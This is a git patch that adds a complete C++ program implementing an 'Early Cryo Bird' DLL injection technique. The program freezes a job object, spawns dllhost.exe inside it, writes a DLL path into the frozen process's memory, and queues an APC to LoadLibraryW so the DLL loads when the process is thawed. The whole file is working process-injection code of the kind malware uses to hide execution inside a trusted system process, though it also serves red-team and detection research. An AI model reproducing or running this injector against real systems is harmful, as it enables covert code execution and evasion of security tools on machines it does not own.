From 35b2a533a681abd57aeaeb137f2edddd957d67a8 Mon Sep 17 00:00:00 2001 From: Zero2504 <84348823+zero2504@users.noreply.github.com> Date: Fri, 4 Apr 2025 22:27:54 +0200 Subject: [PATCH] Create Early-Cryo-Bird- DLL-Injection --- Early-Cryo-Bird- DLL-Injection | 250 +++++++++++++++++++++++++++++++++ 1 file changed, 250 insertions(+) create mode 100644 Early-Cryo-Bird- DLL-Injection diff --git a/Early-Cryo-Bird- DLL-Injection b/Early-Cryo-Bird- DLL-Injection new file mode 100644 index 0000000..5bb65c7 --- /dev/null +++ b/Early-Cryo-Bird- DLL-Injection @@ -0,0 +1,250 @@ +#define _CRT_SECURE_NO_WARNINGS + +#include +#include +#include + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#define JobObjectFreezeInformation 18 + +typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES; + +// Typedef NT-functions +typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, PVOID); +typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG); +typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemoryEx)(HANDLE, PVOID*, PSIZE_T, ULONG, ULONG, PVOID, ULONG); +typedef NTSTATUS(NTAPI* pSetInformationJobObject)(HANDLE, JOBOBJECTINFOCLASS, PVOID, ULONG); +typedef NTSTATUS(NTAPI* pNtCreateJobObject)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES); +typedef NTSTATUS(NTAPI* pNtWaitForSingleObject)(HANDLE, BOOLEAN, PLARGE_INTEGER); + +HMODULE hNtDll = GetModuleHandleA("ntdll.dll"); + +const char pAddress[] = "LoadLibraryW"; + +pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(hNtDll, "NtQueueApcThread"); +pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtDll, "NtWriteVirtualMemory"); +pNtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = (pNtAllocateVirtualMemoryEx)GetProcAddress(hNtDll, "NtAllocateVirtualMemoryEx"); +pSetInformationJobObject NtSetInformationJobObject = (pSetInformationJobObject)GetProcAddress(hNtDll, "NtSetInformationJobObject"); +pNtCreateJobObject NtCreateJobObject = (pNtCreateJobObject)GetProcAddress(hNtDll, "NtCreateJobObject"); +pNtWaitForSingleObject NttWaitForSingleObject = (pNtWaitForSingleObject)GetProcAddress(hNtDll, "NtWaitForSingleObject"); + + +// JOBOBJECT_FREEZE_INFORMATION +typedef struct _JOBOBJECT_WAKE_FILTER { + ULONG HighEdgeFilter; + ULONG LowEdgeFilter; +} JOBOBJECT_WAKE_FILTER, * PJOBOBJECT_WAKE_FILTER; + +typedef struct _JOBOBJECT_FREEZE_INFORMATION { + union { + ULONG Flags; + struct { + ULONG FreezeOperation : 1; + ULONG FilterOperation : 1; + ULONG SwapOperation : 1; + ULONG Reserved : 29; + }; + }; + BOOLEAN Freeze; + BOOLEAN Swap; + UCHAR Reserved0[2]; + JOBOBJECT_WAKE_FILTER WakeFilter; +} JOBOBJECT_FREEZE_INFORMATION, * PJOBOBJECT_FREEZE_INFORMATION; + +void SetColor(int color) { + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + SetConsoleTextAttribute(hConsole, color); +} + +int main() +{ + + const wchar_t dllPath[] = L"C:\\Users\\sample.dll"; + SIZE_T dllPathLen = sizeof(dllPath); + SIZE_T regionSize = dllPathLen; + + HANDLE hJob = NULL; + + NTSTATUS creationJob = NtCreateJobObject(&hJob, STANDARD_RIGHTS_ALL | 63, NULL); + if (!NT_SUCCESS(creationJob)) { + SetColor(FOREGROUND_RED); + printf("Error: 0x%X\n", creationJob); + CloseHandle(hJob); + return -1; + } + + + JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 }; + freezeInfo.FreezeOperation = 1; // Initiate freeze + freezeInfo.Freeze = TRUE; + + NTSTATUS freezeStatus = NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo)); + if (!NT_SUCCESS(freezeStatus)) { + SetColor(FOREGROUND_RED); + printf("Error: 0x%X\n", freezeStatus); + CloseHandle(hJob); + return -1; + } + + + STARTUPINFOEXW siEx = { 0 }; + siEx.StartupInfo.cb = sizeof(siEx); + SIZE_T attrListSize = 0; + + InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize); + siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize); + if (!siEx.lpAttributeList) { + printf("Error in the attribute list allocation.\n"); + CloseHandle(hJob); + return -1; + } + if (!InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, &attrListSize)) { + std::cerr << "Error initialising the attribute list. Error: " << GetLastError() << std::endl; + HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList); + CloseHandle(hJob); + return -1; + } + // Enter the job object in the attribute list + if (!UpdateProcThreadAttribute( + siEx.lpAttributeList, + 0, + PROC_THREAD_ATTRIBUTE_JOB_LIST, + &hJob, + sizeof(HANDLE), + NULL, + NULL)) + { + std::cerr << "Error updating the attribute list. Error: " << GetLastError() << std::endl; + DeleteProcThreadAttributeList(siEx.lpAttributeList); + HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList); + CloseHandle(hJob); + return -1; + } + + // Create process in the job (e.g. dllhost.exe) + PROCESS_INFORMATION pi = { 0 }; + if (!CreateProcessW( + L"C:\\Windows\\System32\\dllhost.exe", + NULL, + NULL, + NULL, + FALSE, + EXTENDED_STARTUPINFO_PRESENT, + NULL, + NULL, + &siEx.StartupInfo, + &pi)) + { + std::cerr << "CreateProcessW failed: " << GetLastError() << std::endl; + DeleteProcThreadAttributeList(siEx.lpAttributeList); + HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList); + CloseHandle(hJob); + return -1; + } + std::cout << "[+] Started Process in Job! PID: " << pi.dwProcessId << std::endl; + + + + // Release attribute list + DeleteProcThreadAttributeList(siEx.lpAttributeList); + HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList); + + PVOID remoteMemory = NULL; + + // Allocate memory in the target process | PAGE_READWRITE is sufficient for the DLL path + NTSTATUS allocStatus = NtAllocateVirtualMemoryEx(pi.hProcess, &remoteMemory, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, 0); + if (NT_SUCCESS(allocStatus)) { + SetColor(FOREGROUND_GREEN); + printf("[+] NtAllocateVirtualMemoryEx allocated memory at 0x%p\n", remoteMemory); + } + else { + SetColor(FOREGROUND_RED); + printf("Error: 0x%X\n", allocStatus); + CloseHandle(hJob); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return -1; + } + + + // Write the DLL path to the allocated memory + NTSTATUS writeStatus = NtWriteVirtualMemory(pi.hProcess, remoteMemory, (PVOID)dllPath, dllPathLen, NULL); + if (NT_SUCCESS(writeStatus)) { + SetColor(FOREGROUND_GREEN); + printf("[+] DLL path was written to 0x%p\n", remoteMemory); + } + else { + SetColor(FOREGROUND_RED); + printf("Error: 0x%X\n", writeStatus); + CloseHandle(hJob); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return 1; + } + + + HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll"); + if (hKernel32 == NULL) { + SetColor(FOREGROUND_RED); + printf("[-] Error retrieving Kernel32-Module\n"); + CloseHandle(hJob); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return -1; + } + + + FARPROC loadLibAddr = GetProcAddress(hKernel32, pAddress); + if (!loadLibAddr) { + printf("Error retrieving the address of LoadLibraryW.\n"); + CloseHandle(hJob); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return -1; + } + if (!NT_SUCCESS(NtQueueApcThread(pi.hThread, (PVOID)loadLibAddr, remoteMemory, NULL, NULL))) { + printf("NtQueueApcThread failed...\n"); + CloseHandle(hJob); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return -1; + } + SetColor(FOREGROUND_INTENSITY); + printf("[+] APC has been successfully installed. The DLL is loaded during defrosting.\n"); + + printf("Press enter for thawing...\n"); + getchar(); + + + + freezeInfo.FreezeOperation = 1; // Unfreeze operation + freezeInfo.Freeze = FALSE; + + + NTSTATUS unfreezeStatus = NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo)); + if (!NT_SUCCESS(unfreezeStatus)) { + SetColor(FOREGROUND_RED); + printf("Error: 0x%X\n", unfreezeStatus); + CloseHandle(hJob); + return -1; + } + + SetColor(FOREGROUND_BLUE); + printf("Process thawed successfully!\n"); + + NTSTATUS waitForSingleObjectStatus = NttWaitForSingleObject(pi.hProcess, TRUE, NULL); + if (!NT_SUCCESS(waitForSingleObjectStatus)) { + SetColor(FOREGROUND_RED); + printf("Error: 0x%X\n", waitForSingleObjectStatus); + return -1; + } + + + // WaitForSingleObject(pi.hProcess, 0xFFFFFFFF); + + CloseHandle(hJob); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + + return 0; +}